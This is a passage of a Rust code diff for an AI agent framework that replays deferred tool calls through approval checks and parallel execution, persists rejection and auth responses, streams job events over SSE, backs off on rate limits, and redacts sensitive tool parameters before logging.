crate::timezone::parse_timezone(tz).is_some()) + .or(pending.user_timezone.as_deref()); + if let Some(tz) = tz_candidate { + job_ctx.user_timezone = tz.to_string(); + } let _ = self .channels @@ -682,14 +772,17 @@ impl Agent { .execute_chat_tool(&pending.tool_name, &pending.parameters, &job_ctx) .await; + let tool_ref = self.tools().get(&pending.tool_name).await; let _ = self .channels .send_status( &message.channel, - StatusUpdate::ToolCompleted { - name: pending.tool_name.clone(), - success: tool_result.is_ok(), - }, + StatusUpdate::tool_completed( + pending.tool_name.clone(), + &tool_result, + &pending.display_parameters, + tool_ref.as_deref(), + ), &message.metadata, ) .await; @@ -712,6 +805,7 @@ impl Agent { // Build context including the tool result let mut context_messages = pending.context_messages; + let deferred_tool_calls = pending.deferred_tool_calls; // Record result in thread { @@ -733,29 +827,17 @@ impl Agent { // If tool_auth returned awaiting_token, enter auth mode and // return instructions directly (skip agentic loop continuation). if let Some((ext_name, instructions)) = - detect_auth_awaiting(&pending.tool_name, &tool_result) + check_auth_required(&pending.tool_name, &tool_result) { - let auth_data = parse_auth_result(&tool_result); - { - let mut sess = session.lock().await; - if let Some(thread) = sess.threads.get_mut(&thread_id) { - thread.enter_auth_mode(ext_name.clone()); - thread.complete_turn(&instructions); - } - } - let _ = self - .channels - .send_status( - &message.channel, - StatusUpdate::AuthRequired { - extension_name: ext_name, - instructions: Some(instructions.clone()), - auth_url: auth_data.auth_url, - setup_url: auth_data.setup_url, - }, - &message.metadata, - ) - .await; + self.handle_auth_intercept( + &session, + thread_id, + message, + &tool_result, + ext_name, + instructions.clone(), + ) + .await; return Ok(SubmissionResult::response(instructions)); } @@ -780,9 +862,301 @@ impl Agent { result_content, )); + // Replay deferred tool calls from the same assistant message so + // every tool_use ID gets a matching tool_result before the next + // LLM call. + if !deferred_tool_calls.is_empty() { + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::Thinking(format!( + "Executing {} deferred tool(s)...", + deferred_tool_calls.len() + )), + &message.metadata, + ) + .await; + } + + // === Phase 1: Preflight (sequential) === + // Walk deferred tools checking approval. Collect runnable + // tools; stop at the first that needs approval. + let mut runnable: Vec = Vec::new(); + let mut approval_needed: Option<( + usize, + crate::llm::ToolCall, + Arc, + )> = None; + + for (idx, tc) in deferred_tool_calls.iter().enumerate() { + if let Some(tool) = self.tools().get(&tc.name).await { + use crate::tools::ApprovalRequirement; + let needs_approval = match tool.requires_approval(&tc.arguments) { + ApprovalRequirement::Never => false, + ApprovalRequirement::UnlessAutoApproved => { + let sess = session.lock().await; + !sess.is_tool_auto_approved(&tc.name) + } + ApprovalRequirement::Always => true, + }; + + if needs_approval { + approval_needed = Some((idx, tc.clone(), tool)); + break; // remaining tools stay deferred + } + } + + runnable.push(tc.clone()); + } + + // === Phase 2: Parallel execution === + let exec_results: Vec<(crate::llm::ToolCall, Result)> = if runnable.len() + <= 1 + { + // Single tool (or none): execute inline + let mut results = Vec::new(); + for tc in &runnable { + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::ToolStarted { + name: tc.name.clone(), + }, + &message.metadata, + ) + .await; + + let result = self + .execute_chat_tool(&tc.name, &tc.arguments, &job_ctx) + .await; + + let deferred_tool = self.tools().get(&tc.name).await; + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::tool_completed( + tc.name.clone(), + &result, + &tc.arguments, + deferred_tool.as_deref(), + ), + &message.metadata, + ) + .await; + + results.push((tc.clone(), result)); + } + results + } else { + // Multiple tools: execute in parallel via JoinSet + let mut join_set = JoinSet::new(); + let runnable_count = runnable.len(); + + for (spawn_idx, tc) in runnable.iter().enumerate() { + let tools = self.tools().clone(); + let safety = self.safety().clone(); + let channels = self.channels.clone(); + let job_ctx = job_ctx.clone(); + let tc = tc.clone(); + let channel = message.channel.clone(); + let metadata = message.metadata.clone(); + + join_set.spawn(async move { + let _ = channels + .send_status( + &channel, + StatusUpdate::ToolStarted { + name: tc.name.clone(), + }, + &metadata, + ) + .await; + + let result = execute_chat_tool_standalone( + &tools, + &safety, + &tc.name, + &tc.arguments, + &job_ctx, + ) + .await; + + let par_tool = tools.get(&tc.name).await; + let _ = channels + .send_status( + &channel, + StatusUpdate::tool_completed( + tc.name.clone(), + &result, + &tc.arguments, + par_tool.as_deref(), + ), + &metadata, + ) + .await; + + (spawn_idx, tc, result) + }); + } + + // Collect and reorder by original index + let mut ordered: Vec)>> = + (0..runnable_count).map(|_| None).collect(); + while let Some(join_result) = join_set.join_next().await { + match join_result { + Ok((idx, tc, result)) => { + ordered[idx] = Some((tc, result)); + } + Err(e) => { + if e.is_panic() { + tracing::error!("Deferred tool execution task panicked: {}", e); + } else { + tracing::error!("Deferred tool execution task cancelled: {}", e); + } + } + } + } + + // Fill panicked slots with error results + ordered + .into_iter() + .enumerate() + .map(|(i, opt)| { + opt.unwrap_or_else(|| { + let tc = runnable[i].clone(); + let err: Error = crate::error::ToolError::ExecutionFailed { + name: tc.name.clone(), + reason: "Task failed during execution".to_string(), + } + .into(); + (tc, Err(err)) + }) + }) + .collect() + }; + + // === Phase 3: Post-flight (sequential, in original order) === + // Process all results before any conditional return so every + // tool result is recorded in the session audit trail. + let mut deferred_auth: Option = None; + + for (tc, deferred_result) in exec_results { + if let Ok(ref output) = deferred_result + && !output.is_empty() + { + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::ToolResult { + name: tc.name.clone(), + preview: output.clone(), + }, + &message.metadata, + ) + .await; + } + + // Record in thread + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) + && let Some(turn) = thread.last_turn_mut() + { + match &deferred_result { + Ok(output) => turn.record_tool_result(serde_json::json!(output)), + Err(e) => turn.record_tool_error(e.to_string()), + } + } + } + + // Auth detection — defer return until all results are recorded + if deferred_auth.is_none() + && let Some((ext_name, instructions)) = + check_auth_required(&tc.name, &deferred_result) + { + self.handle_auth_intercept( + &session, + thread_id, + message, + &deferred_result, + ext_name, + instructions.clone(), + ) + .await; + deferred_auth = Some(instructions); + } + + let deferred_content = match deferred_result { + Ok(output) => { + let sanitized = self.safety().sanitize_tool_output(&tc.name, &output); + self.safety().wrap_for_llm( + &tc.name, + &sanitized.content, + sanitized.was_modified, + ) + } + Err(e) => format!("Error: {}", e), + }; + + context_messages.push(ChatMessage::tool_result(&tc.id, &tc.name, deferred_content)); + } + + // Return auth response after all results are recorded + if let Some(instructions) = deferred_auth { + return Ok(SubmissionResult::response(instructions)); + } + + // Handle approval if a tool needed it + if let Some((approval_idx, tc, tool)) = approval_needed { + let new_pending = PendingApproval { + request_id: Uuid::new_v4(), + tool_name: tc.name.clone(), + parameters: tc.arguments.clone(), + display_parameters: redact_params(&tc.arguments, tool.sensitive_params()), + description: tool.description().to_string(), + tool_call_id: tc.id.clone(), + context_messages: context_messages.clone(), + deferred_tool_calls: deferred_tool_calls[approval_idx + 1..].to_vec(), + // Carry forward the resolved timezone from the original pending approval + user_timezone: pending.user_timezone.clone(), + }; + + let request_id = new_pending.request_id; + let tool_name = new_pending.tool_name.clone(); + let description = new_pending.description.clone(); + let parameters = new_pending.display_parameters.clone(); + + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) { + thread.await_approval(new_pending); + } + } + + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::Status("Awaiting approval".into()), + &message.metadata, + ) + .await; + + return Ok(SubmissionResult::NeedApproval { + request_id, + tool_name, + description, + parameters, + }); + } + // Continue the agentic loop (a tool was already executed this turn) let result = self - .run_agentic_loop(message, session.clone(), thread_id, context_messages, true) + .run_agentic_loop(message, session.clone(), thread_id, context_messages) .await; // Handle the result @@ -795,7 +1169,16 @@ impl Agent { match result { Ok(AgenticLoopResult::Response(response)) => { thread.complete_turn(&response); - self.persist_response_chain(thread); + let tool_calls = thread + .turns + .last() + .map(|t| t.tool_calls.clone()) + .unwrap_or_default(); + // User message already persisted at turn start; save tool calls then assistant response + self.persist_tool_calls(thread_id, &message.user_id, &tool_calls) + .await; + self.persist_assistant_response(thread_id, &message.user_id, &response) + .await; let _ = self .channels .send_status( @@ -812,7 +1195,7 @@ impl Agent { let request_id = new_pending.request_id; let tool_name = new_pending.tool_name.clone(); let description = new_pending.description.clone(); - let parameters = new_pending.parameters.clone(); + let parameters = new_pending.display_parameters.clone(); thread.await_approval(new_pending); let _ = self .channels @@ -831,15 +1214,25 @@ impl Agent { } Err(e) => { thread.fail_turn(e.to_string()); + // User message already persisted at turn start Ok(SubmissionResult::error(e.to_string())) } } } else { - // Rejected - clear approval and return to idle + // Rejected - complete the turn with a rejection message and persist + let rejection = format!( + "Tool '{}' was rejected. The agent will not execute this tool.\n\n\ + You can continue the conversation or try a different approach.", + pending.tool_name + ); { let mut sess = session.lock().await; if let Some(thread) = sess.threads.get_mut(&thread_id) { thread.clear_pending_approval(); + thread.complete_turn(&rejection); + // User message already persisted at turn start; save rejection response + self.persist_assistant_response(thread_id, &message.user_id, &rejection) + .await; } } @@ -852,14 +1245,50 @@ impl Agent { ) .await; - Ok(SubmissionResult::response(format!( - "Tool '{}' was rejected. The agent will not execute this tool.\n\n\ - You can continue the conversation or try a different approach.", - pending.tool_name - ))) + Ok(SubmissionResult::response(rejection)) } } + /// Handle an auth-required result from a tool execution. + /// + /// Enters auth mode on the thread, completes + persists the turn, + /// and sends the AuthRequired status to the channel. + /// Returns the instructions string for the caller to wrap in a response. + async fn handle_auth_intercept( + &self, + session: &Arc>, + thread_id: Uuid, + message: &IncomingMessage, + tool_result: &Result, + ext_name: String, + instructions: String, + ) { + let auth_data = parse_auth_result(tool_result); + { + let mut sess = session.lock().await; + if let Some(thread) = sess.threads.get_mut(&thread_id) { + thread.enter_auth_mode(ext_name.clone()); + thread.complete_turn(&instructions); + // User message already persisted at turn start; save auth instructions + self.persist_assistant_response(thread_id, &message.user_id, &instructions) + .await; + } + } + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::AuthRequired { + extension_name: ext_name, + instructions: Some(instructions.clone()), + auth_url: auth_data.auth_url, + setup_url: auth_data.setup_url, + }, + &message.metadata, + ) + .await; + } + /// Handle an auth token submitted while the thread is in auth mode. /// /// The token goes directly to the extension manager's credential store, @@ -888,7 +1317,7 @@ impl Agent { }; match ext_mgr.auth(&pending.extension_name, Some(token)).await { - Ok(result) if result.status == "authenticated" => { + Ok(result) if result.is_authenticated() => { tracing::info!( "Extension '{}' authenticated via auth mode", pending.extension_name @@ -957,8 +1386,8 @@ impl Agent { } } let msg = result - .instructions - .clone() + .instructions() + .map(String::from) .unwrap_or_else(|| "Invalid token. Please try again.".to_string()); // Re-emit AuthRequired so web UI re-shows the card let _ = self @@ -968,8 +1397,8 @@ impl Agent { StatusUpdate::AuthRequired { extension_name: pending.extension_name.clone(), instructions: Some(msg.clone()), - auth_url: result.auth_url, - setup_url: result.setup_url, + auth_url: result.auth_url().map(String::from), + setup_url: result.setup_url().map(String::from), }, &message.metadata, ) diff --git a/src/agent/undo.rs b/src/agent/undo.rs index 892f7c88..10ab89d5 100644 --- a/src/agent/undo.rs +++ b/src/agent/undo.rs @@ -67,6 +67,7 @@ impl UndoManager { } /// Create with a custom checkpoint limit. + #[cfg(test)] pub fn with_max_checkpoints(mut self, max: usize) -> Self { self.max_checkpoints = max; self @@ -126,6 +127,7 @@ impl UndoManager { } /// Pop the last checkpoint from the undo stack. + #[cfg(test)] pub fn pop_undo(&mut self) -> Option { self.undo_stack.pop_back() } @@ -178,6 +180,7 @@ impl UndoManager { } /// Get a checkpoint by ID. + #[cfg(test)] pub fn get_checkpoint(&self, id: Uuid) -> Option<&Checkpoint> { self.undo_stack .iter() @@ -186,6 +189,7 @@ impl UndoManager { } /// List all available checkpoints (for UI display). + #[cfg(test)] pub fn list_checkpoints(&self) -> Vec<&Checkpoint> { self.undo_stack.iter().collect() } diff --git a/src/agent/worker.rs b/src/agent/worker.rs index 3ec88586..3604cea9 100644 --- a/src/agent/worker.rs +++ b/src/agent/worker.rs @@ -3,21 +3,24 @@ use std::sync::Arc; use std::time::Duration; -use futures::future::join_all; use tokio::sync::mpsc; +use tokio::task::JoinSet; use uuid::Uuid; use crate::agent::scheduler::WorkerMessage; use crate::agent::task::TaskOutput; +use crate::channels::web::types::SseEvent; use crate::context::{ContextManager, JobState}; use crate::db::Database; use crate::error::Error; use crate::hooks::HookRegistry; use crate::llm::{ - ActionPlan, ChatMessage, LlmProvider, Reasoning, ReasoningContext, RespondResult, ToolSelection, + ActionPlan, ChatMessage, LlmProvider, Reasoning, ReasoningContext, RespondResult, ToolCall, + ToolSelection, }; use crate::safety::SafetyLayer; -use crate::tools::ToolRegistry; +use crate::tools::rate_limiter::RateLimitResult; +use crate::tools::{ApprovalContext, ToolRegistry, redact_params}; /// Shared dependencies for worker execution. /// @@ -33,6 +36,14 @@ pub struct WorkerDeps { pub hooks: Arc, pub timeout: Duration, pub use_planning: bool, + /// SSE broadcast sender for live job event streaming to the web gateway. + pub sse_tx: Option>, + /// Approval context for tool execution. When `None`, all non-`Never` tools are + /// blocked (legacy behavior). When `Some`, the context determines which tools + /// are pre-approved for autonomous execution. + pub approval_context: Option, + /// HTTP interceptor for trace recording/replay (propagated to JobContext). + pub http_interceptor: Option>, } /// Worker that executes a single job. @@ -97,6 +108,92 @@ impl Worker { } } + /// Fire-and-forget persistence of a job event and SSE broadcast. + fn log_event(&self, event_type: &str, data: serde_json::Value) { + let job_id = self.job_id; + + // Persist to DB + if let Some(store) = self.store() { + let store = store.clone(); + let et = event_type.to_string(); + let d = data.clone(); + tokio::spawn(async move { + if let Err(e) = store.save_job_event(job_id, &et, &d).await { + tracing::warn!("Failed to persist event for job {}: {}", job_id, e); + } + }); + } + + // Broadcast SSE for live web UI updates + if let Some(ref tx) = self.deps.sse_tx { + let job_id_str = job_id.to_string(); + let event = match event_type { + "message" => Some(SseEvent::JobMessage { + job_id: job_id_str, + role: data + .get("role") + .and_then(|v| v.as_str()) + .unwrap_or("assistant") + .to_string(), + content: data + .get("content") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + }), + "tool_use" => Some(SseEvent::JobToolUse { + job_id: job_id_str, + tool_name: data + .get("tool_name") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(), + input: data + .get("input") + .cloned() + .unwrap_or(serde_json::Value::Null), + }), + "tool_result" => Some(SseEvent::JobToolResult { + job_id: job_id_str, + tool_name: data + .get("tool_name") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + .to_string(), + output: data + .get("output") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + }), + "status" => Some(SseEvent::JobStatus { + job_id: job_id_str, + message: data + .get("message") + .and_then(|v| v.as_str()) + .unwrap_or("") + .to_string(), + }), + "result" => Some(SseEvent::JobResult { + job_id: job_id_str, + status: data + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("completed") + .to_string(), + session_id: data + .get("session_id") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + }), + _ => None, + }; + if let Some(event) = event { + let _ = tx.send(event); + } + } + } + /// Run the worker until the job is complete or stopped. pub async fn run(self, mut rx: mpsc::Receiver) -> Result<(), Error> { tracing::info!("Worker starting for job {}", self.job_id); @@ -108,14 +205,14 @@ impl Worker { tracing::debug!("Worker for job {} stopped before starting", self.job_id); return Ok(()); } - Some(WorkerMessage::Ping) => {} + Some(WorkerMessage::Ping) | Some(WorkerMessage::UserMessage(_)) => {} } // Get job context let job_ctx = self.context_manager().get_context(self.job_id).await?; // Create reasoning engine - let reasoning = Reasoning::new(self.llm().clone(), self.safety().clone()); + let reasoning = Reasoning::new(self.llm().clone()); // Build initial reasoning context (tool definitions refreshed each iteration in execution_loop) let mut reason_ctx = ReasoningContext::new().with_job(&job_ctx.description); @@ -143,6 +240,40 @@ Report when the job is complete or if you encounter issues you cannot resolve."# match result { Ok(Ok(())) => { tracing::info!("Worker for job {} completed successfully", self.job_id); + // Only mark completed if still in an active, non-stuck state. + // The execution_loop may have already called mark_completed or + // mark_stuck (e.g. "plan completed but work remains"). + let current_state = self + .context_manager() + .get_context(self.job_id) + .await + .map(|ctx| ctx.state); + match current_state { + Ok(state) if state.is_terminal() => { + // Already in a terminal state (e.g. execution_loop + // called mark_completed itself). + } + Ok(JobState::Completed) => { + // execution_loop already called mark_completed. + } + Ok(JobState::Stuck) => { + // execution_loop marked this as stuck (e.g. "plan + // completed but work remains"); leave for self-repair. + tracing::info!( + "Job {} returned Ok but is Stuck — leaving for self-repair", + self.job_id + ); + } + Ok(_) => { + self.mark_completed().await?; + } + Err(e) => { + tracing::warn!( + job_id = %self.job_id, + "Failed to get job context, cannot mark as completed: {}", e + ); + } + } } Ok(Err(e)) => { tracing::error!("Worker for job {} failed: {}", self.job_id, e); @@ -163,8 +294,20 @@ Report when the job is complete or if you encounter issues you cannot resolve."# reasoning: &Reasoning, reason_ctx: &mut ReasoningContext, ) -> Result<(), Error> { - let max_iterations = 50; + const MAX_WORKER_ITERATIONS: usize = 500; + let max_iterations = self + .context_manager() + .get_context(self.job_id) + .await + .ok() + .and_then(|ctx| ctx.metadata.get("max_iterations").and_then(|v| v.as_u64())) + .unwrap_or(50) as usize; + let max_iterations = max_iterations.min(MAX_WORKER_ITERATIONS); let mut iteration = 0; + const MAX_CONSECUTIVE_RATE_LIMITS: usize = 10; + let mut consecutive_rate_limits = 0usize; + const MAX_TOOL_INTENT_NUDGES: u32 = 2; + let mut consecutive_tool_intent_nudges: u32 = 0; // Initial tool definitions for planning (will be refreshed in loop) reason_ctx.available_tools = self.tools().tool_definitions().await; @@ -192,6 +335,14 @@ Report when the job is complete or if you encounter issues you cannot resolve."# .join("\n") ))); + self.log_event("message", serde_json::json!({ + "role": "assistant", + "content": format!("Plan: {}\n\n{}", p.goal, + p.actions.iter().enumerate() + .map(|(i, a)| format!("{}. {} - {}", i + 1, a.tool_name, a.reasoning)) + .collect::>().join("\n")) + })); + Some(p) } Err(e) => { @@ -207,15 +358,29 @@ Report when the job is complete or if you encounter issues you cannot resolve."# None }; - // If we have a plan, execute it + // If we have a plan, execute it. Two exit paths: + // 1. Plan ran to completion → job is Completed or needs continuation + // (check state and only fall through if not terminal) + // 2. Plan was interrupted by UserMessage → fall through to direct loop if let Some(ref plan) = plan { - return self.execute_plan(rx, reasoning, reason_ctx, plan).await; + self.execute_plan(rx, reasoning, reason_ctx, plan).await?; + + // If the plan marked the job completed, terminal, or stuck, we're + // done. Only fall through to the direct selection loop if the + // plan was interrupted or explicitly left the job in-progress. + if let Ok(ctx) = self.context_manager().get_context(self.job_id).await + && (ctx.state.is_terminal() + || ctx.state == JobState::Stuck + || ctx.state == JobState::Completed) + { + return Ok(()); + } } - // Otherwise, use direct tool selection loop + // Direct tool selection loop (also used as fallback after plan interruption) loop { - // Check for stop signal - if let Ok(msg) = rx.try_recv() { + // Check for stop signal and injected user messages + while let Ok(msg) = rx.try_recv() { match msg { WorkerMessage::Stop => { tracing::debug!("Worker for job {} received stop signal", self.job_id); @@ -225,6 +390,20 @@ Report when the job is complete or if you encounter issues you cannot resolve."# tracing::trace!("Worker for job {} received ping", self.job_id); } WorkerMessage::Start => {} + WorkerMessage::UserMessage(content) => { + tracing::info!( + job_id = %self.job_id, + "Worker received follow-up user message" + ); + reason_ctx.messages.push(ChatMessage::user(&content)); + self.log_event( + "message", + serde_json::json!({ + "role": "user", + "content": content, + }), + ); + } } } @@ -245,12 +424,64 @@ Report when the job is complete or if you encounter issues you cannot resolve."# // Refresh tool definitions so newly built tools become visible reason_ctx.available_tools = self.tools().tool_definitions().await; - // Select next tool(s) to use - let selections = reasoning.select_tools(reason_ctx).await?; + // Select next tool(s) to use, with rate-limit retry. + let selections = match reasoning.select_tools(reason_ctx).await { + Ok(s) => s, + Err(crate::error::LlmError::RateLimited { retry_after, .. }) => { + consecutive_rate_limits += 1; + let wait = retry_after.unwrap_or(Duration::from_secs(5)); + tracing::warn!( + job_id = %self.job_id, + wait_secs = wait.as_secs(), + attempt = consecutive_rate_limits, + "LLM rate limited during tool selection, backing off" + ); + if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS { + self.mark_stuck("Persistent rate limiting").await?; + return Ok(()); + } + self.log_event( + "status", + serde_json::json!({ + "message": format!("Rate limited, retrying in {}s ({}/{})...", + wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS), + }), + ); + tokio::time::sleep(wait).await; + continue; + } + Err(e) => return Err(e.into()), + }; if selections.is_empty() { // No tools from select_tools, ask LLM directly (may still return tool calls) - let respond_output = reasoning.respond_with_tools(reason_ctx).await?; + let respond_output = match reasoning.respond_with_tools(reason_ctx).await { + Ok(o) => o, + Err(crate::error::LlmError::RateLimited { retry_after, .. }) => { + consecutive_rate_limits += 1; + let wait = retry_after.unwrap_or(Duration::from_secs(5)); + tracing::warn!( + job_id = %self.job_id, + wait_secs = wait.as_secs(), + attempt = consecutive_rate_limits, + "LLM rate limited during respond_with_tools, backing off" + ); + if consecutive_rate_limits >= MAX_CONSECUTIVE_RATE_LIMITS { + self.mark_stuck("Persistent rate limiting").await?; + return Ok(()); + } + self.log_event( + "status", + serde_json::json!({ + "message": format!("Rate limited, retrying in {}s ({}/{})...", + wait.as_secs(), consecutive_rate_limits, MAX_CONSECUTIVE_RATE_LIMITS), + }), + ); + tokio::time::sleep(wait).await; + continue; + } + Err(e) => return Err(e.into()), + }; match respond_output.result { RespondResult::Text(response) => { @@ -266,17 +497,42 @@ Report when the job is complete or if you encounter issues you cannot resolve."# // Add assistant response to context reason_ctx.messages.push(ChatMessage::assistant(&response)); - // Give it one more chance to select a tool - if iteration > 3 && iteration % 5 == 0 { - reason_ctx.messages.push(ChatMessage::user( - "Are you stuck? Do you need help completing this job?", - )); + self.log_event( + "message", + serde_json::json!({ + "role": "assistant", + "content": response, + }), + ); + + // Nudge the LLM if it expressed tool intent without calling tools + let signals_intent = !reason_ctx.available_tools.is_empty() + && crate::llm::llm_signals_tool_intent(&response); + if signals_intent && consecutive_tool_intent_nudges < MAX_TOOL_INTENT_NUDGES + { + consecutive_tool_intent_nudges += 1; + tracing::info!( + job_id = %self.job_id, + "LLM expressed tool intent without calling a tool, nudging" + ); + reason_ctx + .messages + .push(ChatMessage::user(crate::llm::TOOL_INTENT_NUDGE)); + } else if !signals_intent { + consecutive_tool_intent_nudges = 0; + if iteration > 3 && iteration % 5 == 0 { + // Generic fallback nudge + reason_ctx.messages.push(ChatMessage::user( + "Are you stuck? Do you need help completing this job?", + )); + } } } RespondResult::ToolCalls { tool_calls, content, } => { + consecutive_tool_intent_nudges = 0; // Model returned tool calls - execute them tracing::debug!( "Job {} respond_with_tools returned {} tool calls", @@ -284,6 +540,16 @@ Report when the job is complete or if you encounter issues you cannot resolve."# tool_calls.len() ); + if let Some(ref text) = content { + self.log_event( + "message", + serde_json::json!({ + "role": "assistant", + "content": text, + }), + ); + } + // Add assistant message with tool_calls (OpenAI protocol) reason_ctx .messages @@ -292,79 +558,151 @@ Report when the job is complete or if you encounter issues you cannot resolve."# tool_calls.clone(), )); - for tc in tool_calls { - let result = self.execute_tool(&tc.name, &tc.arguments).await; - - // Create synthetic selection for process_tool_result - let selection = ToolSelection { + // Convert ToolCalls to ToolSelections and execute in parallel + let selections: Vec = tool_calls + .iter() + .map(|tc| ToolSelection { tool_name: tc.name.clone(), parameters: tc.arguments.clone(), reasoning: String::new(), alternatives: vec![], tool_call_id: tc.id.clone(), - }; + }) + .collect(); - self.process_tool_result(reason_ctx, &selection, result) + let results = self.execute_tools_parallel(&selections).await; + for (selection, result) in selections.iter().zip(results) { + self.process_tool_result(reason_ctx, selection, result.result) .await?; } } } - } else if selections.len() == 1 { - // Single tool: execute directly - let selection = &selections[0]; - tracing::debug!( - "Job {} selecting tool: {} - {}", - self.job_id, - selection.tool_name, - selection.reasoning - ); - - let result = self - .execute_tool(&selection.tool_name, &selection.parameters) - .await; - - self.process_tool_result(reason_ctx, selection, result) - .await?; } else { - // Multiple tools: execute in parallel - tracing::debug!( - "Job {} executing {} tools in parallel", - self.job_id, - selections.len() - ); + consecutive_tool_intent_nudges = 0; - let results = self.execute_tools_parallel(&selections).await; + // Record the assistant tool_calls message so that tool_result + // messages have a matching parent (prevents orphaned rewrites). + let tool_calls: Vec = selections + .iter() + .map(|s| ToolCall { + id: s.tool_call_id.clone(), + name: s.tool_name.clone(), + arguments: s.parameters.clone(), + }) + .collect(); + reason_ctx + .messages + .push(ChatMessage::assistant_with_tool_calls(None, tool_calls)); - // Process all results - for (selection, result) in selections.iter().zip(results) { - self.process_tool_result(reason_ctx, selection, result.result) + if selections.len() == 1 { + // Single tool: execute directly + let selection = &selections[0]; + tracing::debug!( + "Job {} selecting tool: {} - {}", + self.job_id, + selection.tool_name, + selection.reasoning + ); + + let result = self + .execute_tool(&selection.tool_name, &selection.parameters) + .await; + + self.process_tool_result(reason_ctx, selection, result) .await?; + } else { + // Multiple tools: execute in parallel + tracing::debug!( + "Job {} executing {} tools in parallel", + self.job_id, + selections.len() + ); + + let results = self.execute_tools_parallel(&selections).await; + + // Process all results + for (selection, result) in selections.iter().zip(results) { + self.process_tool_result(reason_ctx, selection, result.result) + .await?; + } } } + // Reset rate-limit counter after a successful iteration (all LLM + // calls succeeded). Placed here so alternating success/fail between + // select_tools and respond_with_tools cannot bypass the cap. + consecutive_rate_limits = 0; + // Small delay between iterations tokio::time::sleep(Duration::from_millis(100)).await; } } - /// Execute multiple tools in parallel. + /// Execute multiple tools in parallel using a JoinSet. + /// + /// Each task is tagged with its original index so results are returned + /// in the same order as `selections`, regardless of completion order. async fn execute_tools_parallel(&self, selections: &[ToolSelection]) -> Vec { - let futures: Vec<_> = selections - .iter() - .map(|selection| { - let tool_name = selection.tool_name.clone(); - let params = selection.parameters.clone(); - let deps = self.deps.clone(); - let job_id = self.job_id; + let count = selections.len(); - async move { - let result = Self::execute_tool_inner(&deps, job_id, &tool_name, ¶ms).await; - ToolExecResult { result } + // Short-circuit for single tool: execute directly without JoinSet overhead + if count <= 1 { + let mut results = Vec::with_capacity(count); + for selection in selections { + let result = Self::execute_tool_inner( + &self.deps, + self.job_id, + &selection.tool_name, + &selection.parameters, + ) + .await; + results.push(ToolExecResult { result }); + } + return results; + } + + let mut join_set = JoinSet::new(); + + for (idx, selection) in selections.iter().enumerate() { + let deps = self.deps.clone(); + let job_id = self.job_id; + let tool_name = selection.tool_name.clone(); + let params = selection.parameters.clone(); + join_set.spawn(async move { + let result = Self::execute_tool_inner(&deps, job_id, &tool_name, ¶ms).await; + (idx, ToolExecResult { result }) + }); + } + + // Collect and reorder by original index + let mut results: Vec> = (0..count).map(|_| None).collect(); + while let Some(join_result) = join_set.join_next().await { + match join_result { + Ok((idx, exec_result)) => results[idx] = Some(exec_result), + Err(e) => { + if e.is_panic() { + tracing::error!("Tool execution task panicked: {}", e); + } else { + tracing::error!("Tool execution task cancelled: {}", e); + } } - }) - .collect(); + } + } - join_all(futures).await + // Fill any panicked slots with error results + results + .into_iter() + .enumerate() + .map(|(i, opt)| { + opt.unwrap_or_else(|| ToolExecResult { + result: Err(crate::error::ToolError::ExecutionFailed { + name: selections[i].tool_name.clone(), + reason: "Task failed during execution".to_string(), + } + .into()), + }) + }) + .collect() } /// Inner tool execution logic that can be called from both single and parallel paths. @@ -382,23 +720,46 @@ Report when the job is complete or if you encounter issues you cannot resolve."# name: tool_name.to_string(), })?; - // Tools requiring approval are blocked in autonomous jobs - if tool.requires_approval() { + // Check approval: use context-aware check if available, else block all non-Never tools + let requirement = tool.requires_approval(params); + let blocked = + ApprovalContext::is_blocked_or_default(&deps.approval_context, tool_name, requirement); + if blocked { return Err(crate::error::ToolError::AuthRequired { name: tool_name.to_string(), } .into()); } - // Fetch job context early so we have the real user_id for hooks - let job_ctx = deps.context_manager.get_context(job_id).await?; + // Fetch job context early so we have the real user_id for hooks and rate limiting + let mut job_ctx = deps.context_manager.get_context(job_id).await?; + // Propagate http_interceptor for trace recording/replay + if job_ctx.http_interceptor.is_none() { + job_ctx.http_interceptor = deps.http_interceptor.clone(); + } + + // Check per-tool rate limit before running hooks or executing (cheaper check first) + if let Some(config) = tool.rate_limit_config() + && let RateLimitResult::Limited { retry_after, .. } = deps + .tools + .rate_limiter() + .check_and_record(&job_ctx.user_id, tool_name, &config) + .await + { + return Err(crate::error::ToolError::RateLimited { + name: tool_name.to_string(), + retry_after: Some(retry_after), + } + .into()); + } // Run BeforeToolCall hook let params = { use crate::hooks::{HookError, HookEvent, HookOutcome}; + let hook_params = redact_params(params, tool.sensitive_params()); let event = HookEvent::ToolCall { tool_name: tool_name.to_string(), - parameters: params.clone(), + parameters: hook_params, user_id: job_ctx.user_id.clone(), context: format!("job:{}", job_id), }; @@ -454,9 +815,12 @@ Report when the job is complete or if you encounter issues you cannot resolve."# .into()); } + // Redact sensitive parameter values (e.g. secret_save's "value") before + // they touch any observability or audit path. + let safe_params = redact_params(¶ms, tool.sensitive_params()); tracing::debug!( tool = %tool_name, - params = %params, + params = %safe_params, job = %job_id, "Tool call started" ); @@ -505,9 +869,10 @@ Report when the job is complete or if you encounter issues you cannot resolve."# let output_str = serde_json::to_string_pretty(&output.result) .ok() .map(|s| deps.safety.sanitize_tool_output(tool_name, &s).content); - deps.context_manager + match deps + .context_manager .update_memory(job_id, |mem| { - let rec = mem.create_action(tool_name, params.clone()).succeed( + let rec = mem.create_action(tool_name, safe_params.clone()).succeed( output_str.clone(), output.result.clone(), elapsed, @@ -516,30 +881,52 @@ Report when the job is complete or if you encounter issues you cannot resolve."# rec }) .await - .ok() + { + Ok(rec) => Some(rec), + Err(e) => { + tracing::warn!(job_id = %job_id, tool = tool_name, "Failed to record action in memory: {e}"); + None + } + } + } + 